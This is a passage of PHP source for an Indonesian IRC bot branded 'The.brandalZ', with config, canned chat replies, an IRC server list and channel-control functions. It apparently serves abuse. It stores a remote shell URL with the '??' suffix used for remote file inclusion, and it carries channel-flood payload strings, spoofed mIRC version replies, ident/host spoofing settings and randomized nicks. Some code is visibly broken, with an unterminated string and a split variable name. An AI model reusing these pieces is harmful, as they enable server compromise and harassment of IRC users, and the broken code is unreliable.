rnd_nick(); $bot['ident']=$modbot->rnd_nick(); $bot['realname']="..:: The.brandalZ ::.."; ################# [ END CONFIG BOT ] ###################### #################### [ AUTH VAR ] ######################### $Admin=strtolower($bot['admin']); $BOT_PASSWORD=strtolower($bot['pass']); $auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Owner","ident"=>"","host"=>"","time","")); ################## [ END AUTH VAR ] ####################### $versbot=array("mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey", "mIRC v6.21 Khaled Mardam-Bey"); $pingsiapa=""; ###################### [ VAR VAR ] ######################## $tsu=array("m","z","p","t","r","x","w","f","h","k","q","c","L"); $nbota=array("1","2","3","4","5","6","7","8","9","0"); $nbotb=array("1","2","3","4","5","6","7","8","9","0"); $zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius"); $nbotna=$nbota[rand(0,count($nbota) - 1)]; $nbotnb=$nbota[rand(0,count($nbota) - 1)]; $nbot=$nbotna.$nbotnb; $shellq=""; $floddban="ON";$GuardV="ON"; $ctcpversi=$versbot[rand(0,count($versbot) - 1)]; $ctcpfinger="Loaded by No_found"; $user_chan_arr[][]=""; $notarget=0; $greetmsg["nick"]["nama"]=""; $greetmsg["nick"]["msg"]=""; $banlist[$bot['basechan']]=""; $ping["ping"]["nick"]=""; $ping["ping"]["chan"]=""; $jmlspoof["irc.ads.net.id"]=0; $isisp[1]["irc.ads.net.id"]["ident"]="gw"; $isisp[1]["irc.ads.net.id"]["spoof"]="hantu.rese.a.biz"; $isisp[1]["irc.ads.net.id"]["pass"]="spoof1"; $kmusedan[0]["contoh"][]=""; $kmusedan[0]["definisi"][]=""; $kmusedan[0]["kata"][]=""; $kmjml["apa"]=""; $chanson=strtolower($bot['basechan']); $listison[0]=strtolower($bot['admin']); $ada1[$listison[0]]=false; $ada2[$listison[0]]=true; $goboom=0;$tmboom=0;$onboom="off";$targetboom="";$warnabenar="";$bw[0]="";$chanboom="";$timeboom=30; $warnaboom="Merah;Kuning;Hijau;Ungu;Coklat;Hitam;Putih;Abu-abu;Emas;Silver;Maroon;Jingga;Orange"; $txttepmp='';$textemp='';$txttepmx='';$temptex=''; $textrep=0;$Maxreep=2;$maxkar=200; $systembot['ping'][strtolower($bot['basechan'])]="4OFF"; $systembot['NGOMONG'][strtolower($bot['basechan'])]=="4OFF"; $clista='cr';$textemp=''; $asalseen['No_found']=date("l, j F Y H:i:s");$asalseen['basechanchanel']='#yeni';$asalseen['statusNo_found']="keluar"; $shellacak=array("http://erol.fileave.com/iyunk.txt??"); $shellgue=$shellacak[rand(0,count($shellacak) - 1)]; $iscy=time(); $timercy=2000; $timermsg=2000; $timeract=2000; #################### [ END VAR VAR ] ###################### #################### [ CREWET ] ###################### $wbmsg = array( "Wb ", "Wb ", "Wb ", "Wb", "Wb", "Wb", "Wbe", "Wb ", "Wb ", "Wb ", "Wbe.", "Wb ", "Wb ", "WeLCoMe B@Ck To ", "Wb ", "Wb ", "Wb ", "Wb " ); $jawabsapa = array( "Powered by No_found", "iya ", "yup !", "ada pa ", "Hubungi my owner untuk informasiku :) ", "pa ", "No_found@Rocketmail.Com <>=- Fb my oWner", "Powered by No_found", "ga nich ", "ga jadi deh ", "Hubungi my owner untuk informasiku :)", "Hubungi my owner untuk informasiku :)", "add Fb Team_magenda@yahoo.com", "poWereD by No_found", "Hubungi my owner untuk informasiku :)", "aku Lagi Cari2 my OwneR :)", " jgn manggil2 terus np seh.", "$namaku Selamb.Ikz...!", " ada pa mad?", " cerewet banget..", "Hadeehh .." ); $rmales = "lg males nih .."; $rmau = "aku mau koq !"; $rsanggup = "bisa kok "; $rboleh = "boleh kok "; $rsetuju = "iya "; $rthx = "makacih .."; $rbingung = "hmm..$namaku ga tau jg nih .."; $rgenit = "ich.. genit"; $respon_umum = array( array("sepi","Hubungi my owner untuk informasiku :)"), array("brb","Powered by No_found"), array("tha","Hubungi my owner untuk informasiku :),"), array("semua ","Team_magenda@yahoo.Com"), array("traktir","Hubungi my owner untuk informasiku :)"), array("lapar","makan"), array("pamit","Hubungi my owner untuk informasi tentang aku"), array("pamet","Hubungi my owner untuk informasiku :)"), array("pamed","uke "), array("ngantuk","tidur ja "), array("bobo","oke deh , mimpiin aku y"), array("bubu","silahkan , moga mimpi indah y"), array("assalam","w?`????k?mss???m w?r?hm?t????h? w???r?k?t?h "), array("pagi","add my Fb Team_Magenda@yahoo.Com"), array("sore","add my Fb Team_Magenda@yahoo.Com"), array("malam","powered by No_found"), array("siang","Hubungi my owner untuk informasiku :)"), array("mandi","hubungi my owner untuk informasiku"), array("tunggu","Hubungi my owner untuk informasiku :)"), array("atah","Powered by No_found"), array("hadeh","hubungi my oWner untuk informasi tentang aku"), array("hadah","hubungi my oWner untuk informasi tentang aku"), ); $respon_pesan = array( //Sapaan array("hai ","hai jg "), array("halo ","halo jg "), array("alow","alow jg "), array("kabar","baik, km gmn ?"), array("kbr","baik, km gmn ?"), array("webe","$rthx"), array("wb","$rthx"), array("tq","matama "), array("makasi","matama :)"), array("makaci","matama "), array("nalin","hai.. aku $namaku"), array("nalkan","hai.. aku $namaku"), array("nalan","boleh koq .. u 1st"), //Identitas array("asl ",", aku $aslku"), array("umur",", klo aq $aslku"), array("nama",", aku $namaku .. u?"), array("skul ","yupz"), array(" kul ",", ga kul neh.."), array("alamat","ada dwech.. .."), array("nak mana","aQ $aslku "), array(" tinggal ",", aku di rumah"), array("cowo","blom, klo ,np?"), array("pcr","blom, np?"), array("pacaran","emangx mw y pacrn ma $namaku?"), array("pacar ","blom, ndiri gmn?"), //Ajakan array("pv","$rmales"), array("ngomong","ngomong ttg apa ?"), array("curhat","mangnya mo curhat masalah apa ?"), array("nikah ","nikah? ich.. boro2 nikah ma "), array("kawin ","kawin?? ich.. ogaaaah.."), array("kencan","boleh , kpn neh kencannya?"), array("besok","boleh .."), array("mau ","$rmau"), //Tuduhan array("bohong","bohong? ngpn Q bohong.. kali yg bohong..kekeke"), array("boong","boong? tuh yg boong.."), array("males","yaa.. lagi males aja nih "), array("lain","yg lain gmn ?"), array("laen","yg laen gmn ?"), array("GR "," tuh yg ke-GR-an.."), array("nyambung","nya aja yg ga nyambung.. xixi"), array("bot","q bkan bot e, dudul neh.. "), array(" aneh","aneh gmn ?"), array("nipu","idiiich..siapa jg yg nipu .."), //Kegiatan array("mandi","klo aku udah mandi "), array("makan","udah koq , klo ?"), array("maem","udah koq , klo ?"), array("mkn","udah neh, klo ?"), array("belanja","belanja dmn ?"), array("bobo ","$rmales"), array("tidur ","$rmales"), array("ngantuk ","blom neh .. xixi"), array("ngpn","lg chat aja neh "), array("ngapa","lg chat aja neh "), //Pertanyaan array("salam kenal ","salam kenal jg "), array("kenal ","$namaku ga kenal tuh.. xixi"), array("tau ","$namaku ga tau tuh.. xixi"), array("napa","gpp koq "), array("knp","gpp koq "), array("kemana","disini aja tuh "), array("lupa","aq ga lupa koq "), array(" mana ","$rbingung"), array("gimana","hmm.. gimana yach ?"), //Persetujuan array("maaf","$rsetuju"), //Mood array("cinta","ih.. gombal "), array("luph","luph U 2, "), array("jodoh","jodoh kalee "), array("kangen","aku jg kangen km, "), array("muach","muuuaach jga .."), array("uaach","mwuaach, "), array("kiss","mo permen kiss ya ?"), array("cium","$rgenit"), array("eluk ","$rgenit"), array("elonin","gk ah "), //Additional array("hihihi","kok ngetawain aku seh?"), array("xixi","ngetawain aku y ?"), array("slap","iya, ada apa ?"), array("pokes","auw ! atit tauuukk..."), array("masuk","ih mesum"), ); $pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat", "bagus","indah","jujur"); $cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila", "sinting","dudul","dodol","jahat","goblok","geblek","sialan"," bau","stres"); $badwordlist = array("pokeh","jancok","patek","pepek","kontol","anjrit","anjing", "p0keh","palak","taik","taek","kelamin","ngesex"," mL","#","taeh", "nyainah","palak"," # ","fuck"); $rjorok = array( "powered by No_found", "hubungi my oWner untuk informasi tentang aku", "Team_magenda@yahoo.com" ); $rcacian = array( "idih, tuch yg ", "? bukanya tuh yg ?", "gw mmg , tp lebih lagi", "gw ga tuh, yg itu kan?" ); $rpujian = array( "makasih .. kamu jg koq", " baik deh..", "ga kok .. km lebih ", "? hihi.. bisa aja", "tengkyu " ); #################### [ END CREWET ] ###################### ##################### [ CONNECT ] ##################### ///////////////// $servdef=array("plasa.id.allnetwork.org", "velo.id.allnetwork.org", "telkom.id.allnetwork.org", "irc.indolayer.com", "citra.id.allnetwork.org", "uii.id.allnetwork.org", "visit.id.allnetwork.org", "hotspeed.sg.allnetwork.org", "indo.id.allnetwork.org", "cbn.id.allnetwork.org", "ads.id.allnetwork.org", "punc4k.id.allnetwork.org", "wanxp.id.allnetwork.org", "jmn.id.allnetwork.org", "irc.indolayer.com", "circleone.id.allnetwork.org", "dustshell.us.allnetwork.org", "genesis.kalpin.us", "irc.pemkot-malang.go.id", "irc.suryadata.co.id", "irc.elnus.net.id", "irc.circleone.net.id", "irc.dustshell.net.id", "irc.indotransdata.net", "irc.power.net.id", "irc.boleh.com", "boleh.id.allnetwork.org", "irc.mildnet.org","continuecrew.co.cc","irc.unitedstats.com","muse.unmeteredbox.com" ); $keluar=0;$retry=count($servdef)+1;$attconnect=0;$rtdc=0; ///////////////// ################### [ CLASS IRC BOT ] ##################### class module_bot{ function rnd_logo(){ $nlogo=array("BLaCK","BLaCK", "BLaCK","BLaCK", "BLaCK","BLaCK", "BLaCK","BLaCK" ); return $nlogo[rand(0,count($nlogo) - 1)]; } function rand_str($size){ $feed = "0123456789abcdefghijklmnopqrstuvwxyz"; for ($i=0; $i < $size; $i++){$rand_str .= substr($feed, rand(0, strlen($feed)-1), 1);} return $rand_str; } function rnd_nick(){ $nickbota=array("q","w","r","t","y","p","s","d","g","h","j","k","l","z","x","v","b","n","m"); $nickbotb=array("e","y","u","i","o","a"); $nickdepan=$nickbota[rand(0,count($nickbota) - 1)].$nickbotb[rand(0,count($nickbotb) - 1)]."_"; $nickbotl=$nickbota[rand(0,count($nickbota) - 1)]; $nickbotr=$nickbotb[rand(0,count($nickbotb) - 1)]; $nickbotu=$nickbota[rand(0,count($nickbota) - 1)]; $nickbotd=$nickbotb[rand(0,count($nickbotb) - 1)]; $nickbot=$nickdepan.$nickbotl.$nickbotr.$nickbotu.$nickbotd; return $nickbot; } function rnd_real(){ $realbot=array("1,10C1,9A1,8S1,7P1,6E1,5R"); return $realbot[rand(0,count($realbot) - 1)]; } function rnd_away(){ $awaybot=array("PaRaDe froM heLL<><(¤PoWereD by No_found¤)"); return $awaybot[rand(0,count($awaybot) - 1)]; } function rnd_cycle(){ $strcycle=array("TEAM MAGENDA@allnetwork.org","TEAM MAGENDA@allnetwork.org","TEAM MAGENDA@allnetwork.org","TEAM MAGENDA@allnetwork.org","TEAM MAGENDA@allnetwork.org","TEAM MAGENDA@allnetwork.org"); return $strcycle[rand(0,count($strcycle) - 1)]; } function rnd_flod(){ $strflod=array("[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi", "6,6@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", "", "[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi", "@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@@%@*@%@@%@", "[]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi[]GiNi[]MaSiH[]KeNa[]fLoOd[][]HaRi" ); return $strflod[rand(0,count($strflod) - 1)]; } function rnd_slapampun(){ $sampunbot=array("bos kojom yuk!","aku neng kene bos!! ojo atek dislaps!!","sini? pv aq bos","kenapa bos?!!","wedew","muach..muach...","ciatsssss... hehehe..","slap? pingin di tium ta?","ampun bosss, aku ndak nakal lagi","siaaaappp bos, ada yang bisa saya buantingin? piring, gelas gtu.", "hiks..nasib?","jadi tukang slap ya, bos?","edan!!!","mama... tolong....","papa... tolong...","ada apa bos!!!, slap? ra ngerti sik kojom apa?","watauuu tega banget kau boss!!!","Siap!!!","aku di sini sayang","lagi enak? kojom dislap ikz.", "Ready!!","aduh...jangan di slap dong.. pv aja","iya sayang...","Boss JELEK!!!","Ready to command!","scream!!!!","mama... bos Q jahat!","jahat banget sihh..","What Mission?"); return $sampunbot[rand(0,count($sampunbot) - 1)]; } function rnd_slapme(){ $slapme=array("egk boleh slap ya say...","tak ada ampun buat loh!","nangisooo ae... 4Dont Slap Me!!","heheheh ciatsssssssssss. tendangan jet lee","Rasakan ini...","Dudutz","yeee...pv aja, gk usah pake slap.."); return $slapme[rand(0,count($slapme) - 1)]; } function rnd_slapbos(){ $slapbos=array("huneQ jangan dislap!!","Dont slap my bos!!","Kacian Bos Tauw!!!","bosQ masih sibuk","bosQ lagi tidur, mohon jangan di ganggu","2HaKz DeZz..","2Awas..!!!","2eiT's..","2HayOo NaKaLs..","jangan ganggu boskuuuuuu","ra ngerti bos lagi sibuk apa... ciattttttttttt jwedak"); return $slapbos[rand(0,count($slapbos) - 1)]; } #### MODULE IRC ####### function send($sock,$msg){fputs($sock,"$msg".CRLF); } function quit($sock,$msg){if($msg){$this->send($sock,"QUIT :$msg");} else {$this->send($sock,"QUIT");}sleep(1); } function msg($sock,$to,$msg){$this->send($sock,"PRIVMSG $to :$msg");} function act($sock,$to,$msg){$this->send($sock,'PRIVMSG '.$to.' :'.'ACTION '.$msg.'');} function invite($sock,$to,$chan){$this->send($sock,"INVITE $to $chan");} function notice($sock,$to,$msg){$this->send($sock,"NOTICE $to :$msg");} function join($sock,$chan,$kunci=Null){$this->send($sock,"JOIN $chan $kunci"); } function part($sock,$chan,$msg){if($msg){$this->send($sock,"PART $chan :$msg");} else {$this->send($sock,"PART $chan");} } function Cycle($sock,$chan,$msg){ if ($msg){$this->part($sock,$chan,$msg);}else{$this->part($sock,$chan,$msg);} sleep(2); $this->join($sock,$chan); } function nick($sock,$newnick){$this->send($sock,"NICK $newnick");$bot['nick']=$newnick; } function mode($sock,$mod,$chan,$who){$this->send($sock,"MODE $chan $mod $who"); } function kick($sock,$chan,$who,$msg){if($msg){$this->send($sock,"KICK $chan $who :$msg");}else{$this->send($sock,"KICK $chan $who");} } function kickserv($sock,$chan,$who,$msg){$this->msg($sock,"CHANSERV","KICK $chan $who $msg".""); } function ban($sock,$chan,$who){$this->send($sock,"MODE $chan +b $who"); } function unban($sock,$chan,$who){$this->send($sock,"MODE $chan -b $who"); } function away($sock,$msg){$this->send($sock,"AWAY :$msg"); } function noaway($sock){$this->send($sock,"AWAY"); } function topic($sock,$chan,$msg){$this->send($sock,"TOPIC $chan $msg"); } #################### ########################## function add_nickchan($chan,$nick){ global $user_chan_arr; $user_chan_arr[strtolower($chan)]["nick"] = $user_chan_arr[strtolower($chan)]["nick"].' '.$nick. ' '; $user_chan_arr[strtolower($chan)]["chan"]=strtolower($chan); $user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]); return "ok"; } function change_nickchan($nick,$newnick){ global $user_chan_arr; foreach ($user_chan_arr as $cur_xchan) { $x_chan=$cur_xchan["chan"]; $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' '.$nick.' ',' '.$newnick.' ',$user_chan_arr[strtolower($x_chan)]["nick"]); $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ',' ',$user_chan_arr[strtolower($x_chan)]["nick"]); $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ','',$user_chan_arr[strtolower($x_chan)]["nick"]); } return "ok"; } function del_nickchan($chan,$nick){ global $user_chan_arr; $user_chan_arr[strtolower($chan)]["nick"]=str_replace(' '.$nick.' ',' ',$user_chan_arr[strtolower($chan)]["nick"]); $user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]); return "ok"; } function show_nickchan($chan){ global $user_chan_arr; $res_nick=$user_chan_arr[strtolower($chan)]["nick"]; $res_nick=ltrim($res_nick); return $res_nick; } function show_chan(){ global $user_chan_arr,$bot; foreach ($user_chan_arr as $cur_xchan) { $showchn=$cur_xchan["chan"]; if($bot['roomnet']==$cur_xchan["chan"]){$showchn="";}; if($bot['basechan']==$cur_xchan["chan"]){$showchn="";}; if($showchn!=""){$res_chan=$res_chan.';'.$cur_xchan["chan"];} } return $res_chan; } function destroy_chan($chan){ global $user_chan_arr; unset ($user_chan_arr[$chan]); return "ok"; } function destroy_allchan(){ global $user_chan_arr; foreach ($user_chan_arr as $cur_xchan) { unset ($user_chan_arr[$cur_xchan["chan"]]); } unset ($user_chan_arr); return "ok"; } ##################### function user_list($nick){ global $auth; $userlist=""; foreach ($auth as $ulist) {if($ulist["name"]){$userlist .= $ulist["name"].'('.$ulist["status"].')';}} return $userlist; } function add_user($sock,$nick,$user,$pass,$level){ global $auth,$bot; $anick=$nick; $nick = strtolower($nick); $user = strtolower($user); $level = strtolower($level); if ($auth["$nick"]["auth"]==2) { if ($auth["$nick"]["status"]=="Owner") { if ($level=="master" || $level=="user" || $level="admin") { if(!$auth["$user"]["name"]){ $auth["$user"]["name"] = $user; $auth["$user"]["pass"] = $pass; $auth["$user"]["status"] = $level; $auth["$user"]["auth"] = 1; $this->notice($sock,$nick,'ADD ['.$user.'] '.$level.' LIsT'); $this->notice($sock,$user,''.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass); $this->notice($sock,$user,'/msg '.$bot['nick'].' `auth '); }else{ $this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.'); } } else {$this->notice($sock,$nick,'Wrong Command! Type:`Adduser ');} } elseif ($auth["$nick"]["status"]=="admin") { if ($level=="master" || $level=="user") { if(!$auth["$user"]["name"]){ $auth["$user"]["name"] = $user; $auth["$user"]["pass"] = $pass; $auth["$user"]["status"] = $level; $auth["$user"]["auth"] = 1; $this->notice($sock,$nick,'ADD ['.$user.'] '.$level.' LIsT'); $this->notice($sock,$user,''.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass); $this->notice($sock,$user,'/msg '.$bot['nick'].' `auth '); }else{ $this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.'); } } else {$this->notice($sock,$nick,'Wrong Command! Type:`Adduser ');} } elseif ($auth["$nick"]["status"]=="master") { if (!$auth["$nick"]["name"]) { if ($level=="user") { $auth["$user"]["name"] = $user; $auth["$user"]["pass"] = $pass; $auth["$user"]["status"] = $level; $auth["$user"]["auth"] = 1; $this->notice($sock,$nick,'ADD ['.$user.'] '.$level.' LIsT'); $this->notice($sock,$user,''.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass); $this->notice($sock,$user,'/msg '.$bot['nick'].' `auth '); } else { $this->notice($sock,$nick,'Wrong Command! Type:`Adduser user'); } } else { $this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.'); } } else {$this->notice($sock,$nick,'Unknown Status! Your Status is '.$auth["$nick"]["status"]);} } } function del_user($sock,$nick,$user){ global $auth; $anick=$nick; $nick = strtolower($nick); $user = strtolower($user); if ($auth["$nick"]["auth"]==2) { if ($auth["$nick"]["status"]=="Owner") { if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user" || $auth["$user"]["status"]=="admin") { $this->notice($sock,$nick,'ADD ['.$user.'] '.$auth["$user"]["status"].' LIsT'); $this->msg($sock,$user,''.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT'); unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]); unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]); } else {$this->msg($sock,$nick,'Wrong Command! Type: `Deluser '); } } elseif ($auth["$nick"]["status"]=="admin") { if ($auth["$user"]["status"]=="master" || $auth["$user"]["status"]=="user") { $this->notice($sock,$nick,'ADD ['.$user.'] '.$auth["$user"]["status"].' LIsT'); $this->msg($sock,$user,''.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT'); unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]); unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]); } else {$this->msg($sock,$nick,'Wrong Command! Type: `Deluser '); } } elseif ($auth["$nick"]["status"]=="master") { if ($auth["$user"]["status"]=="user") { $this->notice($sock,$nick,'ADD ['.$user.'] '.$auth["$user"]["status"].' LIsT'); $this->msg($sock,$user,''.$anick.' DeL YoU To '.$auth["$user"]["status"].' LIsT'); unset($auth["$user"]["name"]); unset($auth["$user"]["pass"]); unset($auth["$user"]["status"]);unset($auth["$user"]["auth"]); unset($auth["$user"]["time"]); unset($auth["$user"]["ident"]); unset($auth["$user"]["host"]);unset($auth["$user"]["seen"]); unset($auth["$user"]); } else { $this->msg($sock,$nick,'Wrong Command! Type: `Deluser '); } } } } function chgpass_user($sock,$nick,$oldpass,$newpass){ global $auth; $anick=$nick; $nick = strtolower($nick); if ($auth["$nick"]["auth"]==2) { if ($oldpass===$auth["$nick"]["pass"]) { $auth["$nick"]["pass"] = $newpass; $this->notice($sock,$nick,'Password set to: 4'.$auth["$nick"]["pass"].'4'); } else {$this->msg($sock,$nick,'PASSWORD 4!FaILED!');} } } function level_user($nick){ global $auth; $nick=strtolower($nick); if ($auth["$nick"]["status"]=="user"){$stauth=1;} elseif ($auth["$nick"]["status"]=="master"){$stauth=2;} elseif (strtolower($auth["$nick"]["status"])=="admin"){$stauth=3;} elseif (strtolower($auth["$nick"]["status"])=="owner"){$stauth=4;} else{$stauth=0;}; return $stauth; } function is_userbot($nick){ global $auth; $isuser=0;$nick=strtolower($nick); if ($auth["$nick"]) {if ($auth["$nick"]["pass"]) {$isuser=1;}} return $isuser; } function is_loginbot($nick,$ident,$host){ global $auth; $islogin=0;$nick=strtolower($nick); if($this->is_userbot($nick)==1){ if($auth["$nick"]["auth"]==2){ if($auth["$nick"]["ident"]==$ident){ if($auth["$nick"]["host"]==$host){ $timelog=time()- $auth["$nick"]["time"]; if($timelog<=3600){ $auth["$nick"]["time"]=time();$islogin=1;}else{$auth["$nick"]["auth"]=1;} }else{$auth["$nick"]["auth"]=1;} }else{$auth["$nick"]["auth"]=1;} }else{$auth["$nick"]["auth"]=1;} } return $islogin; } function loginbot($nick,$ident,$host,$pass){ global $auth; $sukseslog=0;$nick=strtolower($nick); if($this->is_userbot($nick)==1){ if($pass===$auth["$nick"]["pass"]){ $auth["$nick"]["auth"]=2;$auth["$nick"]["time"]=time();$sukseslog=1; } } return $sukseslog; } function logoutbot($nick){ global $auth; $sukseslog=0;$nick=strtolower($nick); if($this->is_userbot($nick)==1){ $auth["$nick"]["auth"]=1;$auth["$nick"]["time"]=time();$sukseslog=1; } return $sukseslog; } ############################### function stuf_ping($sock,$chan,$nick){ global $ping; $sendping=time();$ping["$sendping"]["ping"] = time(); $ping["$sendping"]["chan"] = $chan;$ping["$sendping"]["nick"] = strtolower($nick); $this->msg($sock,$nick,'PING '.$ping["$sendping"]["ping"].''); } function stuf_lag($sock,$nick,$dataping){ global $ping; $dataping=str_replace(chr(1),"",$dataping);$dataping=str_replace("\r","",$dataping); $dataping=str_replace("\n","",$dataping);$dataping=str_replace("","",$dataping); if ($ping["$dataping"]["ping"]==$dataping && $ping["$dataping"]["nick"]==strtolower($nick)){ $pong = time();$pptime = $pong - $dataping;$meni = ""; $wakptime=$pptime; if ($pptime>=60) { $bag = $pptime / 60;$meni = floor($bag)."mins ";$sis = $pptime - ($meni*60);$pptime = $sis; } $deti = $pptime."secs";$pptime = "$meni$deti"; $mswktny=array("0","1","2","3","4","5","6","7","8","9"); $ttlny =array("32","42","46","48","56","62"); $wktny1 = $mswktny[rand(0,count($mswktny) - 1)]; $wktny2 = $mswktny[rand(0,count($mswktny) - 1)]; $wktny3 = $mswktny[rand(0,count($mswktny) - 1)]; $ttlar= $ttlny[rand(0,count($ttlny) - 1)]; $mswktny = ( $wktny1.$wktny2.$wktny3 ); $wktuping = ( $wakptime.'.'.$mswktny ); if ($wakptime<=5){$stping="13PONG4! 9"; }elseif($wakptime>=5){$stping="3lumayan lagmu 9"; }elseif($wakptime>=10){$stping="3Lemot 9"; }elseif($wakptime>=15){$stping="3Macet iro mad 9"; }elseif($wakptime>=20){$stping="3Ganti server aja 9"; }elseif($wakptime>=25){$stping="3kamu macet pol 9"; } $this->msg($sock,$ping["$dataping"]["chan"],'lag reply '.$nick.': '.$wktuping.' detik); $this->notice($so ck,$nick,$stping.$nick); unset($ping ["$dataping"]["nick"]);unset($ping["$dataping"]["ping"]);unset($ping["$dataping"]["chan"]); } } ############################# function stuf_potong($sock,$nickna,$chan,$pilwar){ global $warnabenar,$bw,$targetboom,$goboom,$onboom,$chanboom; $pilihanwar=strtolower($pilwar);$warnabenar=strtolower($warnabenar); if(strtolower($nickna)==strtolower($targetboom) && strtolower($chanboom)==strtolower($chan)){ if($pilihanwar==strtolower($bw[0]) || $pilihanwar==strtolower($bw[1]) || $pilihanwar=="biru" ){ if($warnabenar==$pilihanwar){ $this->msg($sock,$chan,'Selamat '.$nickna.', kamu berhasil menjinakan Bom!!'); $this->mode($sock,'+vvv',$chan,$nickna); } else{ // $this->kickserv($sock,$chan,$nickna,'0,4BOOOOOOMMMM!!!!! Selamat anda kena bom.'); $this->kick($sock,$chan,$nickna,'0,4BOOOOOOMMMM!!!!! Selamat anda kena bom.'); } 